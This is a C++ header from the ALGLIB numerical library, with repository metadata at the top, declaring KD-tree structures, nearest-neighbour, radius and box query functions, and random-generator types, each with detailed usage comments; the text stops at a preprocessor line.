3025ef9f2837e38276d80fc70d707238d0fd1072
76,283
h
C
baseline/SURF-ws/src/alglib/alglibmisc.h
ziqiguo/CS205-ImageStitching
a84c9e21957aa66369a4006920e0ed76ad151679
[ "MIT" ]
56
2018-11-21T06:37:57.000Z
2022-02-25T00:48:55.000Z
src/planner/utils/alglib/alglibmisc.h
WonteakLim/USDC_03_01_PathPlanning
23300a8cf88259b375d51ea552a7dbdb56507f33
[ "MIT" ]
2
2018-11-25T03:38:03.000Z
2019-11-12T17:29:33.000Z
src/planner/utils/alglib/alglibmisc.h
WonteakLim/USDC_03_01_PathPlanning
23300a8cf88259b375d51ea552a7dbdb56507f33
[ "MIT" ]
22
2018-10-10T08:13:06.000Z
2022-01-15T02:44:07.000Z
/************************************************************************* ALGLIB 3.13.0 (source code generated 2017-12-29) Copyright (c) Sergey Bochkanov (ALGLIB project). >>> SOURCE LICENSE >>> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation (www.fsf.org); either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License is available at http://www.fsf.org/licensing/licenses >>> END OF LICENSE >>> *************************************************************************/ #ifndef _alglibmisc_pkg_h #define _alglibmisc_pkg_h #include "ap.h" #include "alglibinternal.h" ///////////////////////////////////////////////////////////////////////// // // THIS SECTION CONTAINS COMPUTATIONAL CORE DECLARATIONS (DATATYPES) // ///////////////////////////////////////////////////////////////////////// namespace alglib_impl { #if defined(AE_COMPILE_NEARESTNEIGHBOR) || !defined(AE_PARTIAL_BUILD) typedef struct { ae_vector x; ae_vector boxmin; ae_vector boxmax; ae_int_t kneeded; double rneeded; ae_bool selfmatch; double approxf; ae_int_t kcur; ae_vector idx; ae_vector r; ae_vector buf; ae_vector curboxmin; ae_vector curboxmax; double curdist; } kdtreerequestbuffer; typedef struct { ae_int_t n; ae_int_t nx; ae_int_t ny; ae_int_t normtype; ae_matrix xy; ae_vector tags; ae_vector boxmin; ae_vector boxmax; ae_vector nodes; ae_vector splits; kdtreerequestbuffer innerbuf; ae_int_t debugcounter; } kdtree; #endif #if defined(AE_COMPILE_HQRND) || !defined(AE_PARTIAL_BUILD) typedef struct { ae_int_t s1; ae_int_t s2; ae_int_t magicv; } hqrndstate; #endif #if defined(AE_COMPILE_XDEBUG) || !defined(AE_PARTIAL_BUILD) typedef struct { ae_int_t i; ae_complex c; ae_vector a; } xdebugrecord1; #endif } ///////////////////////////////////////////////////////////////////////// // // THIS SECTION CONTAINS C++ INTERFACE // ///////////////////////////////////////////////////////////////////////// namespace alglib { #if defined(AE_COMPILE_NEARESTNEIGHBOR) || !defined(AE_PARTIAL_BUILD) /************************************************************************* Buffer object which is used to perform nearest neighbor requests in the multithreaded mode (multiple threads working with same KD-tree object). This object should be created with KDTreeCreateBuffer(). *************************************************************************/ class _kdtreerequestbuffer_owner { public: _kdtreerequestbuffer_owner(); _kdtreerequestbuffer_owner(const _kdtreerequestbuffer_owner &rhs); _kdtreerequestbuffer_owner& operator=(const _kdtreerequestbuffer_owner &rhs); virtual ~_kdtreerequestbuffer_owner(); alglib_impl::kdtreerequestbuffer* c_ptr(); alglib_impl::kdtreerequestbuffer* c_ptr() const; protected: alglib_impl::kdtreerequestbuffer *p_struct; }; class kdtreerequestbuffer : public _kdtreerequestbuffer_owner { public: kdtreerequestbuffer(); kdtreerequestbuffer(const kdtreerequestbuffer &rhs); kdtreerequestbuffer& operator=(const kdtreerequestbuffer &rhs); virtual ~kdtreerequestbuffer(); }; /************************************************************************* KD-tree object. *************************************************************************/ class _kdtree_owner { public: _kdtree_owner(); _kdtree_owner(const _kdtree_owner &rhs); _kdtree_owner& operator=(const _kdtree_owner &rhs); virtual ~_kdtree_owner(); alglib_impl::kdtree* c_ptr(); alglib_impl::kdtree* c_ptr() const; protected: alglib_impl::kdtree *p_struct; }; class kdtree : public _kdtree_owner { public: kdtree(); kdtree(const kdtree &rhs); kdtree& operator=(const kdtree &rhs); virtual ~kdtree(); }; #endif #if defined(AE_COMPILE_HQRND) || !defined(AE_PARTIAL_BUILD) /************************************************************************* Portable high quality random number generator state. Initialized with HQRNDRandomize() or HQRNDSeed(). Fields: S1, S2 - seed values V - precomputed value MagicV - 'magic' value used to determine whether State structure was correctly initialized. *************************************************************************/ class _hqrndstate_owner { public: _hqrndstate_owner(); _hqrndstate_owner(const _hqrndstate_owner &rhs); _hqrndstate_owner& operator=(const _hqrndstate_owner &rhs); virtual ~_hqrndstate_owner(); alglib_impl::hqrndstate* c_ptr(); alglib_impl::hqrndstate* c_ptr() const; protected: alglib_impl::hqrndstate *p_struct; }; class hqrndstate : public _hqrndstate_owner { public: hqrndstate(); hqrndstate(const hqrndstate &rhs); hqrndstate& operator=(const hqrndstate &rhs); virtual ~hqrndstate(); }; #endif #if defined(AE_COMPILE_XDEBUG) || !defined(AE_PARTIAL_BUILD) /************************************************************************* *************************************************************************/ class _xdebugrecord1_owner { public: _xdebugrecord1_owner(); _xdebugrecord1_owner(const _xdebugrecord1_owner &rhs); _xdebugrecord1_owner& operator=(const _xdebugrecord1_owner &rhs); virtual ~_xdebugrecord1_owner(); alglib_impl::xdebugrecord1* c_ptr(); alglib_impl::xdebugrecord1* c_ptr() const; protected: alglib_impl::xdebugrecord1 *p_struct; }; class xdebugrecord1 : public _xdebugrecord1_owner { public: xdebugrecord1(); xdebugrecord1(const xdebugrecord1 &rhs); xdebugrecord1& operator=(const xdebugrecord1 &rhs); virtual ~xdebugrecord1(); ae_int_t &i; alglib::complex &c; real_1d_array a; }; #endif #if defined(AE_COMPILE_NEARESTNEIGHBOR) || !defined(AE_PARTIAL_BUILD) /************************************************************************* This function serializes data structure to string. Important properties of s_out: * it contains alphanumeric characters, dots, underscores, minus signs * these symbols are grouped into words, which are separated by spaces and Windows-style (CR+LF) newlines * although serializer uses spaces and CR+LF as separators, you can replace any separator character by arbitrary combination of spaces, tabs, Windows or Unix newlines. It allows flexible reformatting of the string in case you want to include it into text or XML file. But you should not insert separators into the middle of the "words" nor you should change case of letters. * s_out can be freely moved between 32-bit and 64-bit systems, little and big endian machines, and so on. You can serialize structure on 32-bit machine and unserialize it on 64-bit one (or vice versa), or serialize it on SPARC and unserialize on x86. You can also serialize it in C++ version of ALGLIB and unserialize in C# one, and vice versa. *************************************************************************/ void kdtreeserialize(kdtree &obj, std::string &s_out); /************************************************************************* This function unserializes data structure from string. *************************************************************************/ void kdtreeunserialize(const std::string &s_in, kdtree &obj); /************************************************************************* This function serializes data structure to C++ stream. Data stream generated by this function is same as string representation generated by string version of serializer - alphanumeric characters, dots, underscores, minus signs, which are grouped into words separated by spaces and CR+LF. We recommend you to read comments on string version of serializer to find out more about serialization of AlGLIB objects. *************************************************************************/ void kdtreeserialize(kdtree &obj, std::ostream &s_out); /************************************************************************* This function unserializes data structure from stream. *************************************************************************/ void kdtreeunserialize(const std::istream &s_in, kdtree &obj); /************************************************************************* KD-tree creation This subroutine creates KD-tree from set of X-values and optional Y-values INPUT PARAMETERS XY - dataset, array[0..N-1,0..NX+NY-1]. one row corresponds to one point. first NX columns contain X-values, next NY (NY may be zero) columns may contain associated Y-values N - number of points, N>=0. NX - space dimension, NX>=1. NY - number of optional Y-values, NY>=0. NormType- norm type: * 0 denotes infinity-norm * 1 denotes 1-norm * 2 denotes 2-norm (Euclidean norm) OUTPUT PARAMETERS KDT - KD-tree NOTES 1. KD-tree creation have O(N*logN) complexity and O(N*(2*NX+NY)) memory requirements. 2. Although KD-trees may be used with any combination of N and NX, they are more efficient than brute-force search only when N >> 4^NX. So they are most useful in low-dimensional tasks (NX=2, NX=3). NX=1 is another inefficient case, because simple binary search (without additional structures) is much more efficient in such tasks than KD-trees. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreebuild(const real_2d_array &xy, const ae_int_t n, const ae_int_t nx, const ae_int_t ny, const ae_int_t normtype, kdtree &kdt); void kdtreebuild(const real_2d_array &xy, const ae_int_t nx, const ae_int_t ny, const ae_int_t normtype, kdtree &kdt); /************************************************************************* KD-tree creation This subroutine creates KD-tree from set of X-values, integer tags and optional Y-values INPUT PARAMETERS XY - dataset, array[0..N-1,0..NX+NY-1]. one row corresponds to one point. first NX columns contain X-values, next NY (NY may be zero) columns may contain associated Y-values Tags - tags, array[0..N-1], contains integer tags associated with points. N - number of points, N>=0 NX - space dimension, NX>=1. NY - number of optional Y-values, NY>=0. NormType- norm type: * 0 denotes infinity-norm * 1 denotes 1-norm * 2 denotes 2-norm (Euclidean norm) OUTPUT PARAMETERS KDT - KD-tree NOTES 1. KD-tree creation have O(N*logN) complexity and O(N*(2*NX+NY)) memory requirements. 2. Although KD-trees may be used with any combination of N and NX, they are more efficient than brute-force search only when N >> 4^NX. So they are most useful in low-dimensional tasks (NX=2, NX=3). NX=1 is another inefficient case, because simple binary search (without additional structures) is much more efficient in such tasks than KD-trees. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreebuildtagged(const real_2d_array &xy, const integer_1d_array &tags, const ae_int_t n, const ae_int_t nx, const ae_int_t ny, const ae_int_t normtype, kdtree &kdt); void kdtreebuildtagged(const real_2d_array &xy, const integer_1d_array &tags, const ae_int_t nx, const ae_int_t ny, const ae_int_t normtype, kdtree &kdt); /************************************************************************* This function creates buffer structure which can be used to perform parallel KD-tree requests. KD-tree subpackage provides two sets of request functions - ones which use internal buffer of KD-tree object (these functions are single-threaded because they use same buffer, which can not shared between threads), and ones which use external buffer. This function is used to initialize external buffer. INPUT PARAMETERS KDT - KD-tree which is associated with newly created buffer OUTPUT PARAMETERS Buf - external buffer. IMPORTANT: KD-tree buffer should be used only with KD-tree object which was used to initialize buffer. Any attempt to use biffer with different object is dangerous - you may get integrity check failure (exception) because sizes of internal arrays do not fit to dimensions of KD-tree structure. -- ALGLIB -- Copyright 18.03.2016 by Bochkanov Sergey *************************************************************************/ void kdtreecreaterequestbuffer(const kdtree &kdt, kdtreerequestbuffer &buf); /************************************************************************* K-NN query: K nearest neighbors IMPORTANT: this function can not be used in multithreaded code because it uses internal temporary buffer of kd-tree object, which can not be shared between multiple threads. If you want to perform parallel requests, use function which uses external request buffer: KDTreeTsQueryKNN() ("Ts" stands for "thread-safe"). INPUT PARAMETERS KDT - KD-tree X - point, array[0..NX-1]. K - number of neighbors to return, K>=1 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True RESULT number of actual neighbors found (either K or N, if K>N). This subroutine performs query and stores its result in the internal structures of the KD-tree. You can use following subroutines to obtain these results: * KDTreeQueryResultsX() to get X-values * KDTreeQueryResultsXY() to get X- and Y-values * KDTreeQueryResultsTags() to get tag values * KDTreeQueryResultsDistances() to get distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreequeryknn(const kdtree &kdt, const real_1d_array &x, const ae_int_t k, const bool selfmatch); ae_int_t kdtreequeryknn(const kdtree &kdt, const real_1d_array &x, const ae_int_t k); /************************************************************************* K-NN query: K nearest neighbors, using external thread-local buffer. You can call this function from multiple threads for same kd-tree instance, assuming that different instances of buffer object are passed to different threads. INPUT PARAMETERS KDT - kd-tree Buf - request buffer object created for this particular instance of kd-tree structure with kdtreecreaterequestbuffer() function. X - point, array[0..NX-1]. K - number of neighbors to return, K>=1 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True RESULT number of actual neighbors found (either K or N, if K>N). This subroutine performs query and stores its result in the internal structures of the buffer object. You can use following subroutines to obtain these results (pay attention to "buf" in their names): * KDTreeTsQueryResultsX() to get X-values * KDTreeTsQueryResultsXY() to get X- and Y-values * KDTreeTsQueryResultsTags() to get tag values * KDTreeTsQueryResultsDistances() to get distances IMPORTANT: kd-tree buffer should be used only with KD-tree object which was used to initialize buffer. Any attempt to use biffer with different object is dangerous - you may get integrity check failure (exception) because sizes of internal arrays do not fit to dimensions of KD-tree structure. -- ALGLIB -- Copyright 18.03.2016 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreetsqueryknn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const ae_int_t k, const bool selfmatch); ae_int_t kdtreetsqueryknn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const ae_int_t k); /************************************************************************* R-NN query: all points within R-sphere centered at X IMPORTANT: this function can not be used in multithreaded code because it uses internal temporary buffer of kd-tree object, which can not be shared between multiple threads. If you want to perform parallel requests, use function which uses external request buffer: KDTreeTsQueryRNN() ("Ts" stands for "thread-safe"). INPUT PARAMETERS KDT - KD-tree X - point, array[0..NX-1]. R - radius of sphere (in corresponding norm), R>0 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True RESULT number of neighbors found, >=0 This subroutine performs query and stores its result in the internal structures of the KD-tree. You can use following subroutines to obtain actual results: * KDTreeQueryResultsX() to get X-values * KDTreeQueryResultsXY() to get X- and Y-values * KDTreeQueryResultsTags() to get tag values * KDTreeQueryResultsDistances() to get distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreequeryrnn(const kdtree &kdt, const real_1d_array &x, const double r, const bool selfmatch); ae_int_t kdtreequeryrnn(const kdtree &kdt, const real_1d_array &x, const double r); /************************************************************************* R-NN query: all points within R-sphere centered at X, using external thread-local buffer. You can call this function from multiple threads for same kd-tree instance, assuming that different instances of buffer object are passed to different threads. INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure with kdtreecreaterequestbuffer() function. X - point, array[0..NX-1]. R - radius of sphere (in corresponding norm), R>0 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True RESULT number of neighbors found, >=0 This subroutine performs query and stores its result in the internal structures of the buffer object. You can use following subroutines to obtain these results (pay attention to "buf" in their names): * KDTreeTsQueryResultsX() to get X-values * KDTreeTsQueryResultsXY() to get X- and Y-values * KDTreeTsQueryResultsTags() to get tag values * KDTreeTsQueryResultsDistances() to get distances IMPORTANT: kd-tree buffer should be used only with KD-tree object which was used to initialize buffer. Any attempt to use biffer with different object is dangerous - you may get integrity check failure (exception) because sizes of internal arrays do not fit to dimensions of KD-tree structure. -- ALGLIB -- Copyright 18.03.2016 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreetsqueryrnn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const double r, const bool selfmatch); ae_int_t kdtreetsqueryrnn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const double r); /************************************************************************* K-NN query: approximate K nearest neighbors IMPORTANT: this function can not be used in multithreaded code because it uses internal temporary buffer of kd-tree object, which can not be shared between multiple threads. If you want to perform parallel requests, use function which uses external request buffer: KDTreeTsQueryAKNN() ("Ts" stands for "thread-safe"). INPUT PARAMETERS KDT - KD-tree X - point, array[0..NX-1]. K - number of neighbors to return, K>=1 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True Eps - approximation factor, Eps>=0. eps-approximate nearest neighbor is a neighbor whose distance from X is at most (1+eps) times distance of true nearest neighbor. RESULT number of actual neighbors found (either K or N, if K>N). NOTES significant performance gain may be achieved only when Eps is is on the order of magnitude of 1 or larger. This subroutine performs query and stores its result in the internal structures of the KD-tree. You can use following subroutines to obtain these results: * KDTreeQueryResultsX() to get X-values * KDTreeQueryResultsXY() to get X- and Y-values * KDTreeQueryResultsTags() to get tag values * KDTreeQueryResultsDistances() to get distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreequeryaknn(const kdtree &kdt, const real_1d_array &x, const ae_int_t k, const bool selfmatch, const double eps); ae_int_t kdtreequeryaknn(const kdtree &kdt, const real_1d_array &x, const ae_int_t k, const double eps); /************************************************************************* K-NN query: approximate K nearest neighbors, using thread-local buffer. You can call this function from multiple threads for same kd-tree instance, assuming that different instances of buffer object are passed to different threads. INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure with kdtreecreaterequestbuffer() function. X - point, array[0..NX-1]. K - number of neighbors to return, K>=1 SelfMatch - whether self-matches are allowed: * if True, nearest neighbor may be the point itself (if it exists in original dataset) * if False, then only points with non-zero distance are returned * if not given, considered True Eps - approximation factor, Eps>=0. eps-approximate nearest neighbor is a neighbor whose distance from X is at most (1+eps) times distance of true nearest neighbor. RESULT number of actual neighbors found (either K or N, if K>N). NOTES significant performance gain may be achieved only when Eps is is on the order of magnitude of 1 or larger. This subroutine performs query and stores its result in the internal structures of the buffer object. You can use following subroutines to obtain these results (pay attention to "buf" in their names): * KDTreeTsQueryResultsX() to get X-values * KDTreeTsQueryResultsXY() to get X- and Y-values * KDTreeTsQueryResultsTags() to get tag values * KDTreeTsQueryResultsDistances() to get distances IMPORTANT: kd-tree buffer should be used only with KD-tree object which was used to initialize buffer. Any attempt to use biffer with different object is dangerous - you may get integrity check failure (exception) because sizes of internal arrays do not fit to dimensions of KD-tree structure. -- ALGLIB -- Copyright 18.03.2016 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreetsqueryaknn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const ae_int_t k, const bool selfmatch, const double eps); ae_int_t kdtreetsqueryaknn(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &x, const ae_int_t k, const double eps); /************************************************************************* Box query: all points within user-specified box. IMPORTANT: this function can not be used in multithreaded code because it uses internal temporary buffer of kd-tree object, which can not be shared between multiple threads. If you want to perform parallel requests, use function which uses external request buffer: KDTreeTsQueryBox() ("Ts" stands for "thread-safe"). INPUT PARAMETERS KDT - KD-tree BoxMin - lower bounds, array[0..NX-1]. BoxMax - upper bounds, array[0..NX-1]. RESULT number of actual neighbors found (in [0,N]). This subroutine performs query and stores its result in the internal structures of the KD-tree. You can use following subroutines to obtain these results: * KDTreeQueryResultsX() to get X-values * KDTreeQueryResultsXY() to get X- and Y-values * KDTreeQueryResultsTags() to get tag values * KDTreeQueryResultsDistances() returns zeros for this request NOTE: this particular query returns unordered results, because there is no meaningful way of ordering points. Furthermore, no 'distance' is associated with points - it is either INSIDE or OUTSIDE (so request for distances will return zeros). -- ALGLIB -- Copyright 14.05.2016 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreequerybox(const kdtree &kdt, const real_1d_array &boxmin, const real_1d_array &boxmax); /************************************************************************* Box query: all points within user-specified box, using thread-local buffer. You can call this function from multiple threads for same kd-tree instance, assuming that different instances of buffer object are passed to different threads. INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure with kdtreecreaterequestbuffer() function. BoxMin - lower bounds, array[0..NX-1]. BoxMax - upper bounds, array[0..NX-1]. RESULT number of actual neighbors found (in [0,N]). This subroutine performs query and stores its result in the internal structures of the buffer object. You can use following subroutines to obtain these results (pay attention to "ts" in their names): * KDTreeTsQueryResultsX() to get X-values * KDTreeTsQueryResultsXY() to get X- and Y-values * KDTreeTsQueryResultsTags() to get tag values * KDTreeTsQueryResultsDistances() returns zeros for this query NOTE: this particular query returns unordered results, because there is no meaningful way of ordering points. Furthermore, no 'distance' is associated with points - it is either INSIDE or OUTSIDE (so request for distances will return zeros). IMPORTANT: kd-tree buffer should be used only with KD-tree object which was used to initialize buffer. Any attempt to use biffer with different object is dangerous - you may get integrity check failure (exception) because sizes of internal arrays do not fit to dimensions of KD-tree structure. -- ALGLIB -- Copyright 14.05.2016 by Bochkanov Sergey *************************************************************************/ ae_int_t kdtreetsquerybox(const kdtree &kdt, const kdtreerequestbuffer &buf, const real_1d_array &boxmin, const real_1d_array &boxmax); /************************************************************************* X-values from last query. This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - kdtreetsqueryresultsx(). INPUT PARAMETERS KDT - KD-tree X - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS X - rows are filled with X-values NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsTags() tag values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsx(const kdtree &kdt, real_2d_array &x); /************************************************************************* X- and Y-values from last query This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - kdtreetsqueryresultsxy(). INPUT PARAMETERS KDT - KD-tree XY - possibly pre-allocated buffer. If XY is too small to store result, it is resized. If size(XY) is enough to store result, it is left unchanged. OUTPUT PARAMETERS XY - rows are filled with points: first NX columns with X-values, next NY columns - with Y-values. NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsTags() tag values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsxy(const kdtree &kdt, real_2d_array &xy); /************************************************************************* Tags from last query This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - kdtreetsqueryresultstags(). INPUT PARAMETERS KDT - KD-tree Tags - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS Tags - filled with tags associated with points, or, when no tags were supplied, with zeros NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultstags(const kdtree &kdt, integer_1d_array &tags); /************************************************************************* Distances from last query This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - kdtreetsqueryresultsdistances(). INPUT PARAMETERS KDT - KD-tree R - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS R - filled with distances (in corresponding norm) NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsTags() tag values -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsdistances(const kdtree &kdt, real_1d_array &r); /************************************************************************* X-values from last query associated with kdtreerequestbuffer object. INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure. X - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS X - rows are filled with X-values NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsTags() tag values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreetsqueryresultsx(const kdtree &kdt, const kdtreerequestbuffer &buf, real_2d_array &x); /************************************************************************* X- and Y-values from last query associated with kdtreerequestbuffer object. INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure. XY - possibly pre-allocated buffer. If XY is too small to store result, it is resized. If size(XY) is enough to store result, it is left unchanged. OUTPUT PARAMETERS XY - rows are filled with points: first NX columns with X-values, next NY columns - with Y-values. NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsTags() tag values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreetsqueryresultsxy(const kdtree &kdt, const kdtreerequestbuffer &buf, real_2d_array &xy); /************************************************************************* Tags from last query associated with kdtreerequestbuffer object. This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - KDTreeTsqueryresultstags(). INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure. Tags - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS Tags - filled with tags associated with points, or, when no tags were supplied, with zeros NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsDistances() distances -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreetsqueryresultstags(const kdtree &kdt, const kdtreerequestbuffer &buf, integer_1d_array &tags); /************************************************************************* Distances from last query associated with kdtreerequestbuffer object. This function retuns results stored in the internal buffer of kd-tree object. If you performed buffered requests (ones which use instances of kdtreerequestbuffer class), you should call buffered version of this function - KDTreeTsqueryresultsdistances(). INPUT PARAMETERS KDT - KD-tree Buf - request buffer object created for this particular instance of kd-tree structure. R - possibly pre-allocated buffer. If X is too small to store result, it is resized. If size(X) is enough to store result, it is left unchanged. OUTPUT PARAMETERS R - filled with distances (in corresponding norm) NOTES 1. points are ordered by distance from the query point (first = closest) 2. if XY is larger than required to store result, only leading part will be overwritten; trailing part will be left unchanged. So if on input XY = [[A,B],[C,D]], and result is [1,2], then on exit we will get XY = [[1,2],[C,D]]. This is done purposely to increase performance; if you want function to resize array according to result size, use function with same name and suffix 'I'. SEE ALSO * KDTreeQueryResultsX() X-values * KDTreeQueryResultsXY() X- and Y-values * KDTreeQueryResultsTags() tag values -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreetsqueryresultsdistances(const kdtree &kdt, const kdtreerequestbuffer &buf, real_1d_array &r); /************************************************************************* X-values from last query; 'interactive' variant for languages like Python which support constructs like "X = KDTreeQueryResultsXI(KDT)" and interactive mode of interpreter. This function allocates new array on each call, so it is significantly slower than its 'non-interactive' counterpart, but it is more convenient when you call it from command line. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsxi(const kdtree &kdt, real_2d_array &x); /************************************************************************* XY-values from last query; 'interactive' variant for languages like Python which support constructs like "XY = KDTreeQueryResultsXYI(KDT)" and interactive mode of interpreter. This function allocates new array on each call, so it is significantly slower than its 'non-interactive' counterpart, but it is more convenient when you call it from command line. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsxyi(const kdtree &kdt, real_2d_array &xy); /************************************************************************* Tags from last query; 'interactive' variant for languages like Python which support constructs like "Tags = KDTreeQueryResultsTagsI(KDT)" and interactive mode of interpreter. This function allocates new array on each call, so it is significantly slower than its 'non-interactive' counterpart, but it is more convenient when you call it from command line. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultstagsi(const kdtree &kdt, integer_1d_array &tags); /************************************************************************* Distances from last query; 'interactive' variant for languages like Python which support constructs like "R = KDTreeQueryResultsDistancesI(KDT)" and interactive mode of interpreter. This function allocates new array on each call, so it is significantly slower than its 'non-interactive' counterpart, but it is more convenient when you call it from command line. -- ALGLIB -- Copyright 28.02.2010 by Bochkanov Sergey *************************************************************************/ void kdtreequeryresultsdistancesi(const kdtree &kdt, real_1d_array &r); #endif #if defined(AE_COMPILE_HQRND) || 